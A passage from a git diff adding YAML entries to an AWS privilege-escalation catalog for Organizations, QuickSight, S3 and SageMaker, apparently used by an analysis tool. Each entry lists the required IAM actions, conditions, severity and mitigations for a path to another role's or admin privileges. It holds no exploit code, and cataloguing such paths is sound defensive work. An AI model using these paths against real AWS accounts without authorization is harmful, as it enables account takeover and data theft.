source_revision: 6fb9ac51fd + summary: A management-account principal can obtain the privileges of roles in usable member accounts that trust it. + requires: + all_of: + - action: sts:AssumeRole + resource: '{target.arn}' + target: + kind: aws_role + selector: + trust_allows_principal_of_source: true + org_member_account: true + scope: org + aggregate_as: Organization access roles in member accounts + conditions: + - id: role_exists + description: OrganizationAccountAccessRole is created for accounts created through Organizations; invited accounts + need it added manually. Control Tower enrolled accounts may instead have AWSControlTowerExecution, which trusts + the management account and has administrator access. + - id: source_in_management_account + description: The source must live in the management account that the member-account role trusts. + preconditions: + - target_in_other_account + - source_in_org_management_account + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Keep the management account free of workloads, limit who can assume roles from it, and replace the + default role with narrowly trusted roles. + references: + - https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_accounts_access-cross-account-role.html + - https://docs.aws.amazon.com/controltower/latest/userguide/awscontroltowerexecution.html + notes: The role can have any permission level; OrganizationAccountAccessRole and AWSControlTowerExecution often have broad permissions. SCPs apply to the assumed role in the member account. Overlaps with aws-sts-assumerole-trusted; kept to identify the organization relationship. + + +- id: aws-organizations-createaccount-principalorgid-trust + provider: aws + service: organizations + title: Create a member account to satisfy role trusts keyed on aws:PrincipalOrgID + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#organizationscreateaccount--create-a-member-account-with-a-management-access-role + source_revision: ee45f5f10abb8aef3fcf4216ab7971f342b3c274 + summary: A management-account principal can create a member account, assume its new management access role if authorized, and then try roles whose trust allows principals from the organization. + requires: + all_of: + - action: organizations:CreateAccount + resource: "*" + target: + kind: aws_role + selector: + trust_allows_principal_org: true + scope: any + aggregate_as: "Roles trusting any principal of the organization" + conditions: + - id: org_paths_root + description: CreateAccount places the new account in the organization root; trusts restricted with aws:PrincipalOrgPaths to a specific OU additionally need organizations:MoveAccount. + - id: target_trust_other_conditions + description: Additional trust conditions (source IP, VPC, tags) must be satisfiable from the new account. + - id: account_quota + description: The organization must have account quota left and CreateAccount is asynchronous and visible in CloudTrail. + - id: access_role_name + description: The admin role created in the new account is OrganizationAccountAccessRole by default but its name is chosen by the caller, so sts:AssumeRole must cover the chosen role name. + - id: root_scp_and_target_rcp + description: Root SCPs must allow sts:AssumeRole from the new member account, and target-account RCPs must not deny it on the trusted role. + preconditions: + - source_in_org_management_account + - created_org_access_role_assumable + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict organizations:CreateAccount to break-glass roles, avoid Principal "*" trusts that rely only on aws:PrincipalOrgID, and pin trusted accounts or role paths instead. + references: + - https://docs.aws.amazon.com/organizations/latest/APIReference/API_CreateAccount.html + - https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-principalorgid + - https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_evaluation.html + - https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html + notes: The trust is evaluated with aws:PrincipalOrgID set to the collected organization id and aws:PrincipalOrgPaths to the root path. Incomplete organization, root SCP, target RCP or additional trust-condition evidence leaves the role route unresolved. CreateAccount is asynchronous, so a concrete edge additionally requires fresh reviewed evidence that creation completed, the new account is active in the root, the source assumed its exact access role, that role assumed the exact target role, and the target role supplies a useful action the source lacks. Missing, failed or conflicting creation evidence remains unresolved. diff --git a/src/privilege-escalation-paths-research/aws/pcaconnectorad.yaml b/src/privilege-escalation-paths-research/aws/pcaconnectorad.yaml new file mode 100644 index 0000000000..49535eea37 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/pcaconnectorad.yaml @@ -0,0 +1,11 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Private CA Connector for Active Directory privilege escalation techniques (cloud-to-AD). +# Source: hacktricks-cloud aws-pca-connector-ad-privesc/README.md (rev 171e422299). +# Target: aws_directory_domain_admin, an entity per account meaning "domain administrator of an Active Directory joined +# through a PCA connector in that account". Connectors are not collected (pca-connector-ad:ListConnectors), so the targets +# are per-account unresolved placeholders; the entity is not an AWS-admin kind. diff --git a/src/privilege-escalation-paths-research/aws/pipes.yaml b/src/privilege-escalation-paths-research/aws/pipes.yaml new file mode 100644 index 0000000000..3779881d4c --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/pipes.yaml @@ -0,0 +1,11 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon EventBridge Pipes privilege escalation techniques. +# Source: hacktricks-cloud aws-eventbridge-pipes-privesc/README.md and aws-eventbridge-pipe-stored-role-privesc/README.md (rev 171e422299). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). + +[] diff --git a/src/privilege-escalation-paths-research/aws/quicksight.yaml b/src/privilege-escalation-paths-research/aws/quicksight.yaml new file mode 100644 index 0000000000..1f79d6fbf1 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/quicksight.yaml @@ -0,0 +1,72 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon QuickSight application-plane privilege escalation techniques (aws_service_plane_admin targets). +# Source: hacktricks-cloud aws-quicksight-privesc/README.md (rev 171e422299). +# QuickSight user inventory is collected, but a new ADMIN registration needs +# subscription, IAM identity, and requested user ARN evidence before sign-off. + +- id: aws-quicksight-updateuser-admin + provider: aws + service: quicksight + title: Promote an existing IAM-backed QuickSight user to administrator + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-quicksight-privesc/README.md#quicksightupdateuser--self-promote-to-admin + source_revision: 171e422299 + summary: An IAM user can promote its own active QuickSight identity to ADMIN when UpdateUser is allowed on that exact QuickSight user. + source_kind: [aws_user] + requires: + all_of: + - action: quicksight:UpdateUser + resource: "{target.resource_arn}" + target: + kind: aws_service_plane_admin + selector: + service_plane: quicksight + quicksight_existing_iam_user: true + scope: same_account + aggregate_as: "QuickSight administrator for {target.resource_arn}" + grants: [QuickSight ADMIN] + preconditions: + - quicksight_existing_iam_user_self_admin + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict quicksight:UpdateUser on users' own QuickSight identities and monitor changes to ADMIN. + notes: PrincipalId must exactly match the caller's immutable IAM UserId; a role session, QuickSight-native user, inactive user, or custom permission restriction is not a definite self-promotion. + +- id: aws-quicksight-registeruser-admin + provider: aws + service: quicksight + title: Register an IAM user as a QuickSight administrator + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-quicksight-privesc/README.md#quicksightregisteruser--map-a-controlled-iam-identity-to-an-admin + source_revision: 171e422299 + summary: The source IAM user can register itself as a QuickSight ADMIN, gaining control of the account's QuickSight resources and data sources. + source_kind: [aws_user] + requires: + all_of: + - action: quicksight:RegisterUser + resource: "arn:{source.partition}:quicksight:{target.region}:{target.account}:user/default/{source.name}" + request_context: + quicksight:IamArn: + source_principal: true + quicksight:SessionName: + absent: true + target: + kind: aws_service_plane_admin + selector: + service_plane: quicksight + scope: same_account + aggregate_as: "QuickSight administrators in {account}" + grants: [QuickSight ADMIN] + preconditions: + - quicksight_subscribed + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict quicksight:RegisterUser to QuickSight administrators and alert on RegisterUser with Role=ADMIN. + notes: The request sets UserName to the source IAM user's name and IamArn to that same user, so RegisterUser authorizes the exact new user/default/ ARN. It omits SessionName, which is required only for assumed IAM roles. IAM role sessions need a separate session-bound path. This grants QuickSight administration, not IAM administrator access. diff --git a/src/privilege-escalation-paths-research/aws/rds.yaml b/src/privilege-escalation-paths-research/aws/rds.yaml new file mode 100644 index 0000000000..578695efe7 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/rds.yaml @@ -0,0 +1,11 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon RDS / Aurora privilege escalation techniques. +# Source: hacktricks-cloud aws-rds-privesc/README.md (rev a53b46392c). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml); name_prefix selector (see agent report). +# RDS-associated roles are only usable through engine integrations (S3 import/export, Lambda, ML, etc.), so the +# privileges obtained are bounded to the services those integrations call, not a full role session. diff --git a/src/privilege-escalation-paths-research/aws/redshift.yaml b/src/privilege-escalation-paths-research/aws/redshift.yaml new file mode 100644 index 0000000000..548fb0e5c6 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/redshift.yaml @@ -0,0 +1,16 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon Redshift privilege escalation techniques. +# Source: hacktricks-cloud aws-redshift-privesc/README.md (rev a53b46392c; partially re-pointed to rev 171e422299). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). +# Database access to a cluster/namespace lets SQL (COPY/UNLOAD, external functions/schemas, Spectrum) use the IAM roles +# attached to it. AWS docs: "By default, IAM roles that are available to an Amazon Redshift cluster are available to all +# users on that cluster"; access can be narrowed with ASSUMEROLE grants or an sts:ExternalId trust condition listing dbuser +# ARNs. Privileges obtained are bounded to the services those SQL integrations call (S3, Lambda, Glue/Athena catalog, EMR, +# DynamoDB, Kinesis), plus role chaining to roles that trust the attached role. + +[] diff --git a/src/privilege-escalation-paths-research/aws/s3.yaml b/src/privilege-escalation-paths-research/aws/s3.yaml new file mode 100644 index 0000000000..669b75ffa7 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/s3.yaml @@ -0,0 +1,82 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon S3 privilege escalation techniques (artifact tampering only). +# Source: hacktricks-cloud aws-s3-privesc/README.md (rev a53b46392c). +# Uses {target.artifact_arn} and via_artifact_type (see header of lambda.yaml). S3 techniques only count when the +# written object is code/state that ANOTHER principal later executes; pure bucket data access is in _excluded_b.yaml. +# Service-specific S3 artifact entries live in glue.yaml, emr.yaml, sagemaker.yaml and elasticbeanstalk.yaml. + +- id: aws-s3-putbucketpolicy-self-grant + provider: aws + service: s3 + title: Grant the source principal GetObject on an exact S3 prefix through a bucket policy + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md#s3putbucketpolicy--grant-your-principal-new-object-access + source_revision: e5a7b415ff + summary: The source uses s3:PutBucketPolicy on a same-account bucket to add a resource-policy Allow naming itself, gaining previously denied s3:GetObject on the reviewed prefix. + source_kind: [aws_user, aws_role] + requires: + all_of: + - action: s3:PutBucketPolicy + resource: "{target.arn}" + target: + kind: aws_verified_authority + selector: + aws_s3_policy_self_grant: true + scope: same_account + outcome: permission_grant + grants: ["s3:GetObject on the exact reviewed bucket prefix"] + aggregate_as: "Reviewed S3 GetObject self-grants in {account}" + conditions: + - id: reviewed_effective_permission_differential + description: A unique collected aws_s3_policy_self_grant_evidence record must prove the exact source, owned bucket, prefix, policy principal and resource, accepted policy, prior denial and observed new GetObject access after guardrail review. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict s3:PutBucketPolicy on sensitive buckets, review policy changes granting the caller access and retain explicit denies for protected prefixes. + references: + - https://docs.aws.amazon.com/AmazonS3/latest/userguide/bucket-policies.html + notes: The target is only the source's new GetObject permission on the reviewed bucket prefix. Missing, duplicate, partial or mismatched reviewed evidence creates no path. + +- id: aws-s3-accessgrants-self-grant + provider: aws + service: s3 + title: Vend a newly authorized S3 Access Grants READ session for the source principal + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md#s3-access-grants--vend-a-new-prefix-scoped-read-session + source_revision: e036a395d3 + summary: The source registers a location with a passable role, creates a READ grant for itself and obtains a usable, prefix-scoped S3 STS session that newly allows GetObject. + source_kind: [aws_user, aws_role] + requires: + all_of: + - action: s3:CreateAccessGrantsLocation + resource: "{target.location_arn}" + - action: iam:PassRole + resource: "{target.role_arn}" + request_context: + iam:PassedToService: access-grants.s3.amazonaws.com + - action: s3:CreateAccessGrant + resource: "{target.grant_arn}" + - action: s3:GetDataAccess + resource: "{target.arn}" + target: + kind: aws_verified_authority + selector: + aws_s3_access_grants_self_grant: true + scope: same_account + outcome: permission_grant + grants: ["s3:GetObject through the reviewed Access Grants session on the exact bucket prefix"] + aggregate_as: "Reviewed S3 Access Grants READ self-grants in {account}" + conditions: + - id: reviewed_scoped_access_grants_session + description: Unique collected evidence must bind the exact source, instance, registered location, passable role, source-named READ grant, successful GetDataAccess session, prefix scope, prior denial and observed new GetObject access. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict Access Grants location and grant creation, PassRole, and GetDataAccess; review new grants to the requesting principal and their prefix scope. + references: + - https://docs.aws.amazon.com/AmazonS3/latest/API/API_control_GetDataAccess.html + - https://docs.aws.amazon.com/AmazonS3/latest/API/API_control_CreateAccessGrantsLocation.html + notes: The target is a bounded S3 permission, not the location role's full authority. Missing, duplicate, partial or mismatched session evidence creates no path. diff --git a/src/privilege-escalation-paths-research/aws/s3files.yaml b/src/privilege-escalation-paths-research/aws/s3files.yaml new file mode 100644 index 0000000000..dc9e5255f1 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/s3files.yaml @@ -0,0 +1,11 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon S3 Files privilege escalation techniques. +# Source: hacktricks-cloud aws-s3-files-privesc/README.md (rev 171e422299). +# Bounded impact: the passed role is exercised by the service for S3 synchronization only (no STS credentials returned). + +[] diff --git a/src/privilege-escalation-paths-research/aws/sagemaker.yaml b/src/privilege-escalation-paths-research/aws/sagemaker.yaml new file mode 100644 index 0000000000..5f2d9415a0 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/sagemaker.yaml @@ -0,0 +1,506 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon SageMaker AI privilege escalation techniques. +# Source: hacktricks-cloud aws-sagemaker-privesc/README.md (rev a53b46392c). +# Uses {target.resource_arn}, {target.artifact_arn}, via_resource_type and via_artifact_type (see header of lambda.yaml). + +- id: aws-sagemaker-passrole-createnotebookinstance + provider: aws + service: sagemaker + title: Create a notebook instance with a passed role and open it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#iampassrole--sagemakercreatenotebookinstance-sagemakercreatepresignednotebookinstanceurl + source_revision: 171e422299 + summary: The source can create and open a SageMaker notebook using a passable execution role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + target: + kind: aws_role + selector: + trust_allows_service: sagemaker.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting sagemaker.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - sagemaker_new_notebook_creation_and_url_authorized + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + - id: presigned_url_source_ip + description: aws:SourceIp / VPC endpoint conditions on presigned URL use may restrict access to the notebook. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on SageMaker roles with iam:PassedToService and limit notebook creation to data-science admins. + references: + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_CreateNotebookInstance.html + notes: A single unused notebook name in one Region must be permitted for both creation and presigned URL access. Creation can omit tags, VPC, KMS, and private code repositories. + +- id: aws-sagemaker-createpresignednotebookinstanceurl + provider: aws + service: sagemaker + title: Open an existing notebook instance via a presigned URL + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakercreatepresignednotebookinstanceurl + source_revision: 171e422299 + summary: The source can obtain the privileges of the role of existing SageMaker notebook instances in Resource scope. + requires: + all_of: + - action: sagemaker:CreatePresignedNotebookInstanceUrl + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + attached_to_service: sagemaker + via_resource_type: sagemaker_notebook_instance + scope: same_account + aggregate_as: "Roles of existing SageMaker notebook instances in {account}" + preconditions: + - sagemaker_notebook_instance_accessible + conditions: + - id: notebook_in_service + description: The notebook must be InService, or Stopped with a supported platform and permission to start it; root access/terminal may be disabled by lifecycle configuration but the role is still usable from the kernel. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Scope sagemaker:CreatePresignedNotebookInstanceUrl to the owner's notebooks (tags) and keep notebook roles least-privileged. + references: + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_CreatePresignedNotebookInstanceUrl.html + notes: Only existing notebook instances in Resource scope. + +- id: aws-sagemaker-createpresigneddomainurl + provider: aws + service: sagemaker + title: Mint a Studio login URL for an existing user profile + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakercreatepresigneddomainurl + source_revision: 171e422299 + summary: The source can obtain the privileges of the execution role of SageMaker Studio user profiles in Resource scope. + requires: + all_of: + - action: sagemaker:CreatePresignedDomainUrl + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + attached_to_service: sagemaker + via_resource_type: sagemaker_user_profile + scope: same_account + aggregate_as: "Execution roles of SageMaker Studio user profiles in {account}" + preconditions: + - sagemaker_studio_profile_iam_domain_ready + conditions: + - id: iam_domain_and_profile + description: The profile and its domain must be InService, and the domain must use IAM authentication. + - id: network_restriction + description: Domains in VPC-only mode or with aws:SourceIp / aws:sourceVpce conditions may block use of the URL. + - id: executable_profile_app + description: Running code under the profile execution role needs an InService code app, or CreateApp and AddTags permission to create one for the profile. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Scope CreatePresignedDomainUrl to the caller's own profile (e.g. sagemaker:ResourceTag/owner = aws:username) and keep execution roles least-privileged. + references: + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_CreatePresignedDomainUrl.html + notes: Role is the profile's UserSettings.ExecutionRole, or the domain DefaultUserSettings.ExecutionRole if the profile has none. The URL signs in to the domain; code execution depends on an app using that role. + +- id: aws-sagemaker-passrole-createprocessingjob + provider: aws + service: sagemaker + title: Create a Processing job with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakercreateprocessingjob-iampassrole + source_revision: 171e422299 + summary: The source can run a SageMaker processing job with code it controls using a passable execution role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: sagemaker.amazonaws.com + - action: sagemaker:CreateProcessingJob + resource: arn:{source.partition}:sagemaker:*:{source.account}:processing-job/* + target: + kind: aws_role + selector: + trust_allows_service: sagemaker.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting sagemaker.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - sagemaker_processing_inline_entrypoint_route + conditions: + - id: managed_image_and_capacity + description: A compatible SageMaker-managed Python image and the selected processing instance must be available in the Region. + - id: job_running + description: The created job must reach running state with network isolation off before its inline entrypoint can use the passed role. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on SageMaker roles and use SageMaker condition keys (approved images, network isolation) on job creation. + references: + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_CreateProcessingJob.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_sagemaker.html + notes: CreateProcessingJob authorizes the caller-selected processing-job ARN. AppSpecification.ContainerEntrypoint can select caller-supplied Python code in a SageMaker-managed image, which SageMaker pulls with service-owned credentials. The precondition joins one free job name, the exact creation and PassRole grants, compatible service trust, and a non-isolated instance request. Image availability, instance capacity and successful job startup remain conditional. + +- id: aws-sagemaker-passrole-createtrainingjob + provider: aws + service: sagemaker + title: Create a Training job with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakercreatetrainingjob-iampassrole + source_revision: 171e422299 + summary: The source can run a SageMaker training job with code it controls using a passable execution role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: sagemaker.amazonaws.com + - action: sagemaker:CreateTrainingJob + resource: arn:{source.partition}:sagemaker:*:{source.account}:training-job/* + target: + kind: aws_role + selector: + trust_allows_service: sagemaker.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting sagemaker.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - sagemaker_training_inline_entrypoint_route + conditions: + - id: managed_image_and_capacity + description: A compatible SageMaker-managed Python image and selected training instance must be available in the Region. + - id: job_running + description: The created job must reach running state with network isolation off before its inline entrypoint can use the passed role. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on SageMaker roles and enforce approved images/network isolation via condition keys. + references: + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_CreateTrainingJob.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_sagemaker.html + notes: CreateTrainingJob authorizes the caller-selected training-job ARN and accepts caller-supplied ContainerEntrypoint and ContainerArguments. SageMaker-managed images are pulled with service-owned credentials, while OutputDataConfig requires an S3 path writable by the passed role. A free job name, exact creation and PassRole permissions, service trust, non-isolated request and viable output path still need a joined execution witness. + +- id: aws-sagemaker-passrole-createhyperparametertuningjob + provider: aws + service: sagemaker + title: Create a Hyperparameter Tuning job with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakercreatehyperparametertuningjob-iampassrole + source_revision: 171e422299 + summary: The source can launch SageMaker training jobs through a tuning job using a passable execution role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: sagemaker.amazonaws.com + - action: sagemaker:CreateHyperParameterTuningJob + resource: arn:{source.partition}:sagemaker:*:{source.account}:hyper-parameter-tuning-job/* + target: + kind: aws_role + selector: + trust_allows_service: sagemaker.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting sagemaker.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - sagemaker_hpo_script_mode_route + conditions: + - id: managed_image_and_capacity + description: A compatible SageMaker-managed Python training image and instance must be available in the Region. + - id: child_job_running + description: The tuning job must start a training job with network isolation off before its script can use the passed role. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on SageMaker roles and sagemaker:CreateHyperParameterTuningJob. + references: + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_CreateHyperParameterTuningJob.html + notes: A tuning job can launch training jobs under the passed role. Its definition accepts script-mode hyperparameters but no inline ContainerEntrypoint, so the source must write a code archive that the role can read. Input channels are optional, while OutputDataConfig requires a same-Region S3 path writable by the role. The precondition joins these S3 grants, a free tuning-job name, exact creation and PassRole permissions and service trust; image availability, capacity and child-job startup remain conditional. + +- id: aws-sagemaker-updateuserprofile-passrole-createapp + provider: aws + service: sagemaker + title: Swap a Studio user profile's execution role and launch an app + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakerupdateuserprofile-iampassrole-sagemakercreateapp-sagemakercreatepresigneddomainurl-sagemakerdeleteapp + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting sagemaker.amazonaws.com via a Studio user profile. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: sagemaker.amazonaws.com + - action: sagemaker:UpdateUserProfile + resource: "*" + - action: sagemaker:CreateApp + resource: "*" + - action: sagemaker:CreatePresignedDomainUrl + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: sagemaker.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting sagemaker.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - sagemaker_existing_profile_role_swap_route + conditions: + - id: no_inservice_apps + description: UpdateUserProfile fails while the profile has InService apps; sagemaker:DeleteApp is needed if any exist. + - id: same_profile_scope + description: UpdateUserProfile, CreateApp and CreatePresignedDomainUrl must all cover the same user profile/app ARNs. + - id: not_unified_studio + description: Unified Studio domains reject presigned domain URLs. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on SageMaker roles and sagemaker:UpdateUserProfile to platform admins. + references: + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_UpdateUserProfile.html + notes: The precondition joins one InService profile in an IAM domain to exact UpdateUserProfile, CreateApp, CreatePresignedDomainUrl, PassRole and app tagging grants, and checks that the target role trusts SageMaker. A profile with existing apps needs a separate app-state and restart analysis. The role update, new app start and URL access remain conditional. + +- id: aws-sagemaker-updatedomain-createuserprofile-passrole + provider: aws + service: sagemaker + title: Change a Studio domain's default execution role and create a profile inheriting it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakerupdatedomain-sagemakercreateuserprofile-sagemakercreateapp-iampassrole-sagemakercreatepresigneddomainurl-sagemakerdeleteapp + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting sagemaker.amazonaws.com via the Studio domain default. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: sagemaker.amazonaws.com + - action: sagemaker:UpdateDomain + resource: "*" + - action: sagemaker:CreateUserProfile + resource: "*" + - action: sagemaker:CreateApp + resource: "*" + - action: sagemaker:CreatePresignedDomainUrl + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: sagemaker.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting sagemaker.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - sagemaker_domain_default_new_profile_route + conditions: + - id: no_inservice_apps_in_domain + description: UpdateDomain fails while any app in the domain is InService; sagemaker:DeleteApp on all of them is needed otherwise (disruptive). + - id: not_unified_studio + description: Unified Studio domains reject presigned domain URLs. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on SageMaker roles and sagemaker:UpdateDomain/CreateUserProfile to platform admins. + references: + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_UpdateDomain.html + notes: This inherited-default variant changes one IAM-authenticated domain before creating a profile without an explicit role. The precondition joins the domain and a complete app inventory with no existing app, a free profile name, exact UpdateDomain, CreateUserProfile, CreateApp and CreatePresignedDomainUrl grants, app tagging permission, PassRole and service trust. Domain update, profile creation, app start and URL access remain conditional. A direct explicit-role variant is modelled separately. + +- id: aws-sagemaker-createuserprofile-passrole-createapp + provider: aws + service: sagemaker + title: Create a Studio user profile with an explicit passed execution role and launch an app + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakerupdatedomain-sagemakercreateuserprofile-sagemakercreateapp-iampassrole-sagemakercreatepresigneddomainurl-sagemakerdeleteapp + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting sagemaker.amazonaws.com by setting it as the execution role of a new Studio user profile. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: sagemaker.amazonaws.com + - action: sagemaker:CreateUserProfile + resource: "*" + - action: sagemaker:CreateApp + resource: "*" + - action: sagemaker:CreatePresignedDomainUrl + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: sagemaker.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting sagemaker.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - sagemaker_new_profile_app_route + conditions: + - id: existing_domain + description: A Studio domain covered by CreateUserProfile must exist; CreateApp and CreatePresignedDomainUrl must cover the new profile and app ARNs. + - id: not_unified_studio + description: Unified Studio domains reject presigned domain URLs. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on SageMaker roles and sagemaker:CreateUserProfile to platform admins. + references: + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_CreateUserProfile.html + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_UserSettings.html + notes: This explicit-role variant of the UpdateDomain section sets UserSettings.ExecutionRole on a new profile. The precondition joins an IAM-authenticated domain, a free valid profile name, exact CreateUserProfile, PassRole, CreateApp and CreatePresignedDomainUrl grants, app tagging permission and SageMaker service trust. The profile request omits optional tags. Profile creation, app startup and URL access remain conditional. + +- id: aws-sagemaker-updateclustersoftware-custom-ami + provider: aws + service: sagemaker + title: Replace HyperPod instance-group nodes with a custom AMI that keeps the group's execution role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakerupdateclustersoftware--replace-hyperpod-nodes-with-a-custom-ami + 